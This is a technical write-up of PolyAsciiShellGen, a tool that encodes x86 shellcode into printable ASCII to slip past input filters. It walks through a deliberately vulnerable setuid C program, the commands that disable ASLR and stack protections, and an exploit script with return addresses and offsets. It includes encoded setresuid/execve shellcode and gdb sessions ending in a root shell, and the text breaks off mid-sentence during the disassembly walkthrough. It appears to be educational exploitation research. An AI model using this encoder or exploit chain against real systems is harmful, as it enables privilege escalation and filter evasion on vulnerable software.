1 - Introduction
        
        
         
          PolyAsciiShellGen is an experimental ASCII shellcode generator, I have written
in C. This program is based on the Riley "Caezar" Eller's technique to bypass
MSB data filters, for buffer overflow exploits, on Intel x86 platforms.
         
         
          2 - Caezar ASCII Shellcode
         
         
         
          2.1 - Goal
         
         
          In some case of buffer overflow exploitation it is possible to need to use
input buffer restricted by some filters which allow only printable caracters as
input data. For example urls, paths, requests etc... are sanitized
for invalid characters before being used in a program.
These buffer restrictions limit drastically the value ranges of input data and
defeat the use of classic shellcode composed by opcodes include in a larges
value ranges that can't pass the data filters. The paper
          
           
            "Bypassing MSB Data Filters for Buffer Overflows on Intel Plateform"
           
           [1]
          
          by
          
           Riley "Caezar" Eller
          
          is the first to present an algorithm to encode any
sequence of binary data like a shellcode into ASCII characters which can then be
decoded, loaded and executed with a reduce set of printable opcodes on x86 Intel
plateform. The kind of ASCII shellcode exposes in this
paper can pass some types of ASCII filters of a target program with a full ASCII
machine code in order to exploit a vulnerability like a buffer overflow. An
ASCII shellcode must use opcode in the range 0x20 to 0x7E or other sub ranges in
the ASCII range, there are many
          
           x86 printable opcode tables [2]
          
          which shows the matching between ASCII code and machine instruction.
         
         
          2.2 - Mechanism
         
         
          The
          
           Caezar
          
          ASCII shellcodes work according the technique of the
          
           bridge building
          
          as explain in the "Caezar" paper.
         
         
          
           "move the stack pointer just past the ASCII code, decode 32-bits of the
original sequence at a time, and push that value onto the stack. As the decoding
progresses, the original binary series is "grown" toward the end of the ASCII
code. When the ASCII code executes its last PUSH instruction, the first bytes of
the exploit code are put into place at the next memory address for the processor
to execute. "
          
         
         
          Here, an illustration  which shows a
          
           Caezar
          
          ASCII shellcode in action during a
classic stack buffer overflow on Intel x86.
         
         
1)     Low addresses       2)   Low addresses      2)    Low addresses       3)   Low addresses      
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
esp-->|             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
eip-->|-------------|          |-------------|          |-------------|          |-------------|
      |             |          |             |          |             |          |             |
      |   ASCII     |          |    ASCII    |          |    ASCII    |          |    ASCII    |
      |  shellcode  |    eip-->|  shellcode  |          |  shellcode  |          |  shellcode  |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |    eip-->|             |          |             |      
      |             |          |             |          |             |    eip   |             |
      |-------------|          |-------------|          |-------------|       -->|-------------|
      |             |          |             |          |             |    esp   |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |   decoded   |
      |             |          |             |          |             |          |   shellcode |
      |             |          |             |    esp-->|-------------|          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |   decoded   |          |             |
      |             |          |             |          |   shellcode |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |    esp-->|             |          |-------------|          |-------------|
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
      |             |          |             |          |             |          |             |
       High addresses           High addresses           High addresses           High addresses
         
          - 
           
            
             1)
            
            Fix ESP after the ASCII shellcode with some space to build the decoded shellcode.
           
           
          - 
           
            
             2)
            
            EIP start to decode the encoded shellcode and push it on the stack by group of four bytes, so ESP grow down and EIP grow up. The bridge to the decoded shellcode is building.
           
           
          - 
           
            
             3)
            
            The first bytes of the decoded shellcode are push just after the end of the ASCII shellcode, ESP and EIP are crossing at the same memory address  and EIP will execute the decoded shellcode
           
           
         
         
          3 - PolyAsciiShellGen
         
         
         
          PolyAsciiShellGen is an experimental ASCII shellcode generator based on
the part II of the
          
           Riley "Caezar" Eller
          
          's paper. The program take a classic
shellcode in entry and automates the shellcode encoding process into ASCII
caracteres and assemble an ASCII shellcode able to decode, load and
execute the original shellcode.
         
         
          3.1 - Build
         
         
          Clone PolyAsciiShellGen from
          
           my Github repository [3]
          
          and build it.
         
         
$ git clone https://github.com/VincentDary/PolyAsciiShellGen.git
$ cd PolyAsciiShellGen
$ make && make clean
         
          3.2 - Usage
         
         
$ ./PolyAsciiShellGen
usage: PolyAsciiShellGen <esp offset> <nop sleed factor N * 4 NOPS> <shellcode "\xOP\xOP"...>
         
          3.3 - Options
         
         
          
           
            <esp offset>
           
          
         
         
          The
          
           
            esp offset
           
          
          parameter is a 32 bit integer, positive or negative.
When the generated ASCII shellcode is executed it starts to add the
          
           
            esp offset
           
          
          to ESP in order to set the register position after its code
with enough space to build the decoded shellcode as a bridge to the code of the
ASCII shellcode. This value is generaly deduct during a pre-exploitation
debugging session. If a NOP sleed is add before the decoded shellcode via the
          
           
            NOP sleed factor
           
          
          , the
          
           
            esp offset
           
          
          value can have a margin of error
according the size of the NOP sleed use. Here the method to compute the
          
           
            esp offset
           
          
          .
         
         
 esp_offset = @shellcode_ascii_start_address - @esp_address
              + ascii_shellcode_size
              + original_shellcode_size
         
          Note: the
          
           ascii_shellcode_size
          
          must be padded on a 32-bit boundary.
         
         
          
           
            <nop sleed factor>
           
          
         
         
          The
          
           
            nop sleed factor
           
          
          parameter is a 32 bit unsigned integer use as a NOP
sleed multiplier to add an extra NOP sleed before the first instructions of the
decoded shellcode in order to reliable the decoded shellcode execution. This
factor is multiplied to four NOP instructions. So if N=4, 4*4=16 NOP
instructions are added before the shellcode.
         
         
          
           
            <shellcode>
           
          
         
         
          The
          
           shellcode
          
          parameters is the shellcode to encode in escaping format
          
           ...\xcd\x80...
          
          .If the lenght of the shellcode is not a multiplier of four bytes, it
is padded with extra NOP bytes in order to pass an exploit code aligned on a 32-bit
boundary to the underlying ASCII shellcode generator.
         
         
          3.4 - Result
         
         
          PolyAsciiShellGen print the resulting ASCII shellcode on the standard output. The
ASCII charset use for the ASCII shellcode building is the following.
         
         
 %_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-
         
          To encode the original shellcode, the underlying encoder uses values generated
randomly at each execution. So, the printable shellcodes generated have a
different signatures from the original shellcode at each new generation.
         
         
          3.5 - Return Value
         
         
          The command returns 0 if the ASCII shellcode generation is successful or 1 if
it fails.
         
         
          3.6 - Exemple
         
         
          Here an example with a
          
           setresuid(0,0,0); execve(/bin//sh,0,0)
          
          shellcode.
         
         
$ ./PolyAsciiShellGen -270  10  "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"
TX-KKKK-KKKK-xjiiP\%0000%AAAA-9%%%-GJJJP-hhNh-th3%-Q6-5P-yyyZ-yZy6-L6---2-8-P-7KKd-%Kdz-%RkzP-xxxx-GGGx-0AFiP-OOOO-jOwO-iaraP-NN%N-a%%a-q44tP-%SS0-%SL5-7uC%P-FkFF-9pUhP-XXXX-XXXX-PXOFP-AAAj-0w2j-0w-vPPPPPPPPPP
         
          4 - Demo
         
         
         
          This demo shows an exploitation case with PolyAsciiShellGen, all the scripts
and compiled binaries uses here can be found in the
          
           demo directory of the PolyAsciiShellGen repository [3]
          
          .
         
         
$ git clone https://github.com/VincentDary/PolyAsciiShellGen.git
$ cd PolyAsciiShellGen/demo
         
          4.1 - Vulnerable Program Sample
         
         
          The demo uses a little program vulnerable to a stack buffer overflow.
The vulnerability designed here is a typical school
case which shows when an ASCII shellcode can be useful in a buffer overflow
exploitation.
         
         
          
           
            vuln_ascii_filter_sample.c
           
          
         
         
          #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#define BOOK_COMMENT_MAX_LEN 512
#define BOOK_REF_MAX_LEN 48
struct book_info {
  char comment[BOOK_COMMENT_MAX_LEN];
  char book_ref[8]; /* programming error */
};
int register_book(){
  struct book_info b_info;
  size_t comment_size = 0;
  size_t i = 0;
  memset(&b_info, 0, sizeof(b_info));
  printf("[0x%x] @b_info.comment\n", &b_info.comment);
  printf("[0x%x] @b_info.book_ref\n", &b_info.book_ref);
  puts("[+] Enter a book reference: ");
  if( fgets(b_info.book_ref, BOOK_REF_MAX_LEN-1, stdin) == NULL )
    return -1;
  puts("[+] Enter a book commentary: ");
  if( fgets(b_info.comment, BOOK_COMMENT_MAX_LEN-1, stdin) == NULL )
    return -1;
  /* ASCII filter 0x20 to 0x7E */
  comment_size = strlen(b_info.comment);
  for( i=0; i < comment_size-1; ++i ){
    if(! (isprint(b_info.comment[i])) ){
      memset(&b_info, 0, sizeof(b_info));
      return -1;
    }
  }
  puts("[+] Book registered.");
  printf("\nreference: %s\ncommentary: %s\n", b_info.book_ref, b_info.comment);
  return 0;
}
int main(int argc, char *argv[]){
  if( register_book() < 0 ){
    puts("[-] Error during book registering.");
    return 1;
  }
  return 0;
}
          
         
          The stack buffer overflow vulnerability exposed here is introduce by the
          
           book_info
          
          structure definition which use an hardcoded value as buffer
lenght definition of its
          
           book_ref
          
          member. It not use the
          
           BOOK_REF_MAX_LEN
          
          define just before which have value higher.
         
         
          Then, in the
          
           register_book()
          
          function, a
          
           fgets()
          
          call get the book reference
from the user input and store it in the
          
           b_info.book_ref
          
          local buffer, but the
the maximum lenght of the string pass as second parameter to
          
           fgets()
          
          is the
          
           BOOK_REF_MAX_LEN
          
          value higher than the target buffer size.
         
         
          This common C programming error can lead to a stack buffer overflow in the
          
           b_info
          
          local data struture of
          
           register_book()
          
          via its
          
           book_ref
          
          member.
         
         
          4.2 - Exploitation Environment Setting
         
         
          In this demo, the exploitation conditions are the most basic with all the
security features against buffer overflow exploitation deactivated and a
vulnerable binary with root owner and the setuid bit setted.
         
         
          The ASLR is set to off in order to use a predictable addresses to redirect the
execution flow to the injected shellcode.
         
         
# echo 0 > /proc/sys/kernel/randomize_va_space
         
          The previous program is compiled with gcc in 32 bit (
          
           -m32
          
          ) with an
executable stack (
          
           -z execstack
          
          ), the stack canaries disable
(
          
           -fno-stack-protector
          
          ) and a position dependent code (
          
           -no-pie
          
          ).
         
         
$ gcc vuln_ascii_filter_sample.c -o vuln_ascii_filter_sample \
      -m32 \
      -z execstack \
      -fno-stack-protector \
      -no-pie
         
          The executable file is setted with the root owner and the setuid bit.
         
         
# chown root vuln_ascii_filter_sample
# chmod u+s vuln_ascii_filter_sample
# ls -l vuln_ascii_filter_sample
-rwsr-xr-x 1 root root 7068 Jul  6 02:37 vuln_ascii_filter_sample
         
         
         
          4.3 - Exec Wrapper
         
         
          In order to work with an equal stack offset in or out of the debugger and
in any working directory location; a slim executor wrapper is used to start the
program in an empty environment. It is just an
          
           execve()
          
          which start the
          
           ./vuln_ascii_filter_sample
          
          binary present in the same directory.
         
         
          
           
            exec_wrapper.c
           
          
         
         
          #include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
int main(int argc, char *argv[])
{
    int e;
    char exec_bin_name[] = "./vuln_ascii_filter_sample";
    char *exec_argv[] = { exec_bin_name, NULL };
    char *exec_envp[] = { NULL };
    printf("\n\n[demo exec wrapper] Executing %s\n\n", exec_bin_name);
    e = execve(exec_bin_name, exec_argv, exec_envp);
    if (e == -1)
        fprintf(stderr, "[demo exec wrapper] error %s\n", strerror(errno));
    return 0;
}
          
         
          For this demonstration, the wrapper script is compiled in 32 bit.
         
         
$ gcc -m32 exec_wrapper.c -o exec_wrapper
         
          4.4 - Quick Manual Exploitation
         
         
          First step, a crafted input is passed to the standard input of the vulnerable
program example to trigger the stack buffer overflow in the
          
           b_info.book_ref
          
          local buffer and hijacks the program execution flow by rewriting the return
address of the
          
           register_book()
          
          function.
         
         
$ ( perl -e 'print "A"x24 . "\xef\xbe\xad\xde"  . "\n" . "book-comment\n"';  cat ) | ./exec_wrapper
[demo exec wrapper] Executing ./vuln_ascii_filter_sample
[0xffffdc24] @b_info.comment
[0xffffde24] @b_info.book_ref
[+] Enter a book reference:
[+] Enter a book commentary:
[+] Book registered.
reference: AAAA
commentary: book-comment
Segmentation fault
         
          The return address is overwritten with the
          
           0xdeadbeef
          
          value and the program
crash. The crash hits the system logs and the log shows the position of the
stack pointer at this moment.
         
         
$ journalctl -f
Oct 02 18:12:50 babylone kernel: vuln_ascii_filt[22754]: segfault at deadbeef ip 00000000deadbeef sp 00000000ffffde40 error 14 in libc-2.28.so[f7dc4000+1d6000]
         
          The buffer overflow show here can't past more than 47 bytes (
          
           BOOK_REF_MAX_LEN
          
          -1)
on the stack via the
          
           b_info.book_ref
          
          buffer. In addition, the code of the
          
           register_book()
          
          function overwrites a part of the injected payload,
caused by the presence of other variables placed after the buffer overflowed.
Below, a quick debugging session of the crash which shows the overwrite of
the payload in red.
         
         
$ perl -e 'print "A"x24 . "\xef\xbe\xad\xde" . "A"x19 . "\n" . "book-comment\n"' > /tmp/payload_crash
$ gdb -q ./vuln_ascii_filter_sample
Reading symbols from ./vuln_ascii_filter_sample...(no debugging symbols found)...done.
(gdb) b *register_book+255
Breakpoint 1 at 0x80492b5
(gdb) b *register_book+412
Breakpoint 2 at 0x8049352
(gdb) set exec-wrapper ./exec_wrapper
(gdb) run < /tmp/payload_crash
Starting program: /home/snake/Desktop/github_perso/PolyAsciiShellGen/demo/bin/vuln_ascii_filter_sample <<< $(cat /tmp/payload_crash)
[demo exec wrapper] Executing ./vuln_ascii_filter_sample
[0xffffdc24] @b_info.comment
[0xffffde24] @b_info.book_ref
[+] Enter a book reference:
[+] Enter a book commentary:
Breakpoint 1, 0x080492b5 in register_book ()
(gdb) x/16xw 0xffffde24
0xffffde24:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffde34:     0x41414141      0x41414141      0xdeadbeef      0x41414141
0xffffde44:     0x41414141      0x41414141      0x41414141      0xf7004141
0xffffde54:     0xf7f9ce24      0x00000000      0xf7ddeb41      0x00000001
(gdb) c
Continuing.
[+] Book registered.
Breakpoint 2, 0x08049352 in register_book ()
(gdb) x/16xw 0xffffde24
0xffffde24:     0x41414141      0x00000002      0x00000001      0x41414141
0xffffde34:     0x41414141      0x41414141      0xdeadbeef      0x41414141
0xffffde44:     0x41414141      0x41414141      0x41414141      0xf7004141
0xffffde54:     0xf7f9ce24      0x00000000      0xf7ddeb41      0x00000001
         
          So, the exploitation conditions meet here are very restrictive, there is 12
bytes exploitable before the return addresse and 18 bytes after the return
address. This size is too small to store a payload which do more than
          
           open
a shell [6]
          
          .
         
         
          The book comment buffer is a good place to store a payload, it have a size of
512 bytes, it is located before the book reference buffer in the
          
           b_info
          
          structure, so it will not be overwritten by the previous stack buffer overflow.
But, this buffer is restricted to ASCII data only, caused by an ASCII filter
implemented with the
          
           isprint()
          
          function. The kind of ASCII shellcode see in
the previous section is useful in this case of exploitation where a buffer
overflow help to control the instruction pointer but lack of size to store a payload
and where an other buffer have enough size to store a payload but is constraint
to an ASCII filter.
         
         
          Here the following
          
           setresuid(0, 0, 0)
          
          and
          
           execve(/bin//sh,0,0)
          
          shellcode
is used. Its source
          
           
            setresuid_shellcode.asm
           
           [4]
          
          is available
in the demo directory. It have a size of 37 bytes. According the
PolyAsciiShellGen documentation the size of the shellcode to encode is padded
to be aligned on a 32-bit boundary before to be encode, so its size pass from 37
bytes to 40 bytes.
         
         
$ nasm setresuid_shellcode.asm
$ stat --printf="%s" setresuid_shellcode
37
         
          PolyAsciiShellGen generates an ASCII shellcode with a size of 184 bytes for
this shellcode.
         
         
$ echo -n  $(./PolyAsciiShellGen 100 0 \
    $(hexdump -v -e '"\\" "x" 1/1 "%02X"' setresuid_shellcode)) | wc -c
184
         
          As see in the previous outputs, when the execution flow is hijack the ESP
register point to
          
           0xffffde40
          
          and the
          
           b_info.comment
          
          buffer will store the ASCII
shellcode start at
          
           0xffffdc24
          
          . The
          
           esp offset
          
          required to generate the ASCII
shellcode can now be computed with all these informations.
         
         
$ perl -e "print(0xffffdc24 - 0xffffde40 + 40 + 184)"
-316
         
          The following shell script is used to generate the user inputs injected in
the standard input of the vulnerable program exemple to exploit the stack
buffer overflow in the
          
           b_info.book_ref
          
          buffer.
         
         
          
           
            exploit_ascii_filter_sample.sh
           
          
         
         
          #!/bin/bash
set -e
ret_offset="24"
ret_addresse="\x24\xdc\xff\xff"
esp_offset="-316"
nop_factor="0"
input_book_ref=$(perl -e "print 'A'x'$ret_offset'.'$ret_addresse'.'\n'")
setresuid_shellcode=$(hexdump -v -e '"\\" "x" 1/1 "%02X"' setresuid_shellcode)
ascii_shellcode=$(./PolyAsciiShellGen $esp_offset $nop_factor $setresuid_shellcode)
echo -e "$input_book_ref$ascii_shellcode"
          
         
          The following output show the data content injected in the vulnerable program
exemple. The data in red will overflow the
          
           b_info.book_ref
          
          buffer and the
last four bytes in red will overwrite the return address of the
          
           register_book()
          
          function with the address
          
           0xffffdc24
          
          . The data in blue are the ASCII shellcode
generated by
          
           PolyAsciiShellGen
          
          and will be store in the
          
           b_info.comment
          
          buffer located at
          
           0xffffdc24
          
          .
         
         
$ ./exploit_ascii_filter_sample.sh | hexdump -C
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  24 dc ff ff 0a 54 58 2d  |AAAAAAAA$....TX-|
00000020  76 76 76 76 2d 76 57 57  57 2d 50 33 32 32 50 5c  |vvvv-vWWW-P322P\|
00000030  25 44 44 44 44 25 30 30  30 30 2d 49 42 42 42 2d  |%DDDD%0000-IBBB-|
00000040  37 2d 2d 2d 50 2d 4e 4e  4e 4e 2d 72 4e 33 42 2d  |7---P-NNNN-rN3B-|
00000050  6d 6a 2d 32 50 2d 31 31  31 31 2d 72 31 72 31 2d  |mj-2P-1111-r1r1-|
00000060  56 72 72 31 2d 77 62 42  57 50 2d 37 4b 4b 64 2d  |Vrr1-wbBWP-7KKd-|
00000070  25 4b 64 7a 2d 25 52 6b  7a 50 2d 74 74 74 74 2d  |%Kdz-%RkzP-tttt-|
00000080  43 43 43 74 2d 38 49 4e  71 50 2d 5f 5f 5f 5f 2d  |CCCt-8INqP-____-|
00000090  5f 5f 5f 5f 2d 64 41 7a  41 50 2d 65 30 34 65 2d  |____-dAzAP-e04e-|
000000a0  65 30 25 65 2d 56 47 25  59 50 2d 54 76 6e 54 2d  |e0%e-VG%YP-TvnT-|
000000b0  2d 79 74 36 50 2d 2d 33  33 33 2d 2d 64 33 33 2d  |-yt6P--333--d33-|
000000c0  25 70 35 48 50 2d 56 56  56 56 2d 56 50 56 56 2d  |%p5HP-VVVV-VPVV-|
000000d0  54 62 53 4a 50 0a                                 |TbSJP.|
000000d6
         
          Here the exploitation of the vulnerable program exemple, a shell pop and the
root privileges are restored.
         
         
$ ( ./exploit_ascii_filter_sample.sh; cat ) | ./exec_wrapper
[demo exec wrapper] Executing ./vuln_ascii_filter_sample
[0xffffdc24] @b_info.comment
[0xffffde24] @b_info.book_ref
[+] Enter a book reference:
[+] Enter a book commentary:
[+] Book registered.
reference: AAAA�
commentary: TX-vvvv-vWWW-P322P\%DDDD%0000-IBBB-7---P-NNNN-rN3B-mj-2P-1111-r1r1-Vrr1-wbBWP-7KKd-%Kdz-%RkzP-tttt-CCCt-8INqP-____-____-dAzAP-e04e-e0%e-VG%YP-TvnT--yt6P--333--d33-%p5HP-VVVV-VPVV-TbSJP
whoami
root
         
          If the exploitation not work on your machine it is probably caused by somes
stack offsets due to the recompilation of the program.
It is possible to ajust quickly the
          
           ret_offset
          
          ,
          
           ret_addresse
          
          ,
          
           esp_offset
          
          variables of the
          
           exploit_ascii_filter_sample.sh
          
          script to match your
exploitation conditions. Otherwise, the
          
           demo
          
          directory contains all the
binaries used here.
         
         
          4.5 - Automated Demo in gdb
         
         
          A demo script is present in the demo directory of the repository. It automates
the exploitation of the vulnerable program sample see in the previous section
and provides two execution contexts options. A context in the debugger and an
other context out of the debugger.
         
         
          When the demo script is started in the debugger context it uses a gdb
comand file which shows the exploitation of the vulnerable program example step
by step with the dumps of the shellcode decoding process.
         
         
          
           
            exploit_ascii_filter_sample.gdb
           
          
         
         
# hardcoded memory addresses
## .code segment
set $addr_first_fgets_call    = 0x8049255
set $addr_strlen_call         = 0x80492b5
## .stack segment
set $addr_buffer_info_comment = 0xffffdc24
set $addr_in_ascii_shellcode  = 0xffffdc91
set $addr_esp_eip_crossing    = 0xffffdcdc
define sleep_and_continue
    shell sleep 1
    continue
end
# Debug the stack overflow in b_info.book_ref
define stack_overflow_dbg
  break *$addr_first_fgets_call
  commands
    x/140xw $esp
    x/i $eip
    sleep_and_continue
  end
  break *$addr_strlen_call
  commands
    x/140xw $esp
    x/i $eip
    sleep_and_continue
  end
end
# ASCII shellcode debuging
define ascii_shellcode_dbg_break_settings
  thbreak *$addr_buffer_info_comment
  commands
    x/48i $eip
    i r $esp
    sleep_and_continue
  end
  thbreak *$addr_in_ascii_shellcode
  commands
    x/40i $eip
    i r $esp
    sleep_and_continue
  end
  thbreak *$addr_esp_eip_crossing
  commands
    x/20i $eip
    i r $eip
    i r $esp
    delete 1 2 3
    sleep_and_continue
  end
end
# main gdb function
define exploit_ascii_filter_dbg
    set disassembly-flavor intel
    set height 0
    set pagination off
    set exec-wrapper ./exec_wrapper
    break *main
    commands
        stack_overflow_dbg
        ascii_shellcode_dbg_break_settings
        x/3i *main+26
        sleep_and_continue
    end
    run < /tmp/exploit_ascii_filter_stdin_gdb
end
exploit_ascii_filter_dbg
         
          The demo script can be started with the
          
           in-gdb
          
          option for the debugger
context execution. The script starts to
show the payload used for the debugging session and then it jumps in gdb.
         
         
$ PolyAsciiShellGen/demo/demo_PolyAsciiShellGen.sh in-gdb
[Payload Generation]
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  24 dc ff ff 0a 54 58 2d  |AAAAAAAA$....TX-|
00000020  5a 5a 5a 5a 2d 78 5a 5a  5a 2d 6a 4c 4b 4b 50 5c  |ZZZZ-xZZZ-jLKKP\|
00000030  25 52 52 52 52 25 25 25  25 25 2d 4b 4a 4a 4a 2d  |%RRRR%%%%%-KJJJ-|
00000040  35 25 25 25 50 2d 6f 6f  55 55 2d 6f 55 25 36 2d  |5%%%P-ooUU-oU%6-|
00000050  4f 42 34 37 50 2d 76 76  76 56 2d 76 76 76 4a 2d  |OB47P-vvvV-vvvJ-|
00000060  38 25 38 25 2d 4c 25 33  25 50 2d 25 73 73 73 2d  |8%8%-L%3%P-%sss-|
00000070  25 48 73 73 2d 37 2d 34  72 50 2d 50 50 50 76 2d  |%Hss-7-4rP-PPPv-|
00000080  50 4d 50 76 2d 4f 63 65  6d 50 2d 72 72 72 72 2d  |PMPv-OcemP-rrrr-|
00000090  42 42 72 42 2d 6e 4b 54  4b 50 2d 68 4f 25 68 2d  |BBrB-nKTKP-hO%h-|
000000a0  68 25 25 68 2d 50 33 34  53 50 2d 4d 75 68 65 2d  |h%%h-P34SP-Muhe-|
000000b0  34 7a 7a 25 50 2d 35 32  32 32 2d 25 5f 32 32 2d  |4zz%P-5222-%_22-|
000000c0  25 76 37 4a 50 2d 59 59  59 59 2d 59 59 59 59 2d  |%v7JP-YYYY-YYYY-|
000000d0  4e 56 4d 44 50 0a                                 |NVMDP.|
Reading symbols from ./vuln_ascii_filter_sample...(no debugging symbols found)...done.
Breakpoint 1 at 0x8049364s
         
          Then, the demo break in the
          
           register_book()
          
          function. The following
          
           gdb
          
          output is displayed and shows in red the return address of the
          
           register_book()
          
          function on the stack before the stack smaching.
         
         
[demo exec wrapper] Executing ./vuln_ascii_filter_sample
Breakpoint 1, 0x08049364 in main ()
Breakpoint 2 at 0x8049255
Breakpoint 3 at 0x80492b5
Hardware assisted breakpoint 4 at 0xffffdc24
Hardware assisted breakpoint 5 at 0xffffdc91
Hardware assisted breakpoint 6 at 0xffffdcdc
   0x804937e <main+26>: call   0x80491b6 
   0x8049383 <main+31>: test   eax,eax
   0x8049385 <main+33>: jns    0x80493a0 
[0xffffdc24] @b_info.comment
[0xffffde24] @b_info.book_ref
[+] Enter a book reference:
Breakpoint 2, 0x08049255 in register_book ()
0xffffdc10:     0xffffde24      0x0000002f      0xf7f9d580      0x080491c5
0xffffdc20:     0x83743139      0x00000000      0x00000000      0x00000000
0xffffdc30:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc40:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdca0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdcb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdcc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdcd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdce0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdcf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd20:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd30:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd40:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdda0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdde0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde20:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde30:     0x00000001      0x0804c000      0xffffde48      0x08049383
=> 0x8049255 <register_book+159>:       call   0x8049040 <fgets@plt>
         
          Then, the demo breaks in the
          
           register_book()
          
          after the stack smaching. The
following
          
           gdb
          
          output is displayed and shows in red the data which overflow the
          
           b_info.book_ref
          
          buffer and overwrite the return address of the
          
           register_book()
          
          function. The bytes in blue are the ASCII shellcode store in
the
          
           b_info.comment
          
          buffer.
         
         
[+] Enter a book commentary:
Breakpoint 3, 0x080492b5 in register_book ()
0xffffdc10:     0xffffdc24      0x000001ff      0xf7f9d580      0x080491c5
0xffffdc20:     0x83743139      0x5a2d5854      0x2d5a5a5a      0x5a5a5a78
0xffffdc30:     0x4b4c6a2d      0x255c504b      0x52525252      0x25252525
0xffffdc40:     0x4a4b2d25      0x352d4a4a      0x50252525      0x556f6f2d
0xffffdc50:     0x556f2d55      0x4f2d3625      0x50373442      0x7676762d
0xffffdc60:     0x76762d56      0x382d4a76      0x2d253825      0x2533254c
0xffffdc70:     0x73252d50      0x252d7373      0x2d737348      0x72342d37
0xffffdc80:     0x50502d50      0x502d7650      0x2d76504d      0x6d65634f
0xffffdc90:     0x72722d50      0x422d7272      0x2d427242      0x4b544b6e
0xffffdca0:     0x4f682d50      0x682d6825      0x2d682525      0x53343350
0xffffdcb0:     0x754d2d50      0x342d6568      0x50257a7a      0x3232352d
0xffffdcc0:     0x5f252d32      0x252d3232      0x504a3776      0x5959592d
0xffffdcd0:     0x59592d59      0x4e2d5959      0x50444d56      0x0000000a
0xffffdce0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdcf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd20:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd30:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd40:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdd90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdda0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdde0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffddf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffde20:     0x00000000      0x41414141      0x41414141      0x41414141
0xffffde30:     0x41414141      0x41414141      0x41414141      0xffffdc24
=> 0x80492b5 <egister_book+255>:       call   0x8049060 <strlen@plt>
         
          Then, when the
          
           register_book()
          
          function returns, the execution flow is redirect
to the ASCII shellcode and the demo breaks at the start address of the shellcode.
The following disassembly listing of the ASCII
shellcode is displayed. The instructions in green fix the stack pointer after the
following ASCII machine code, the part in grey set eax to zero and the part in
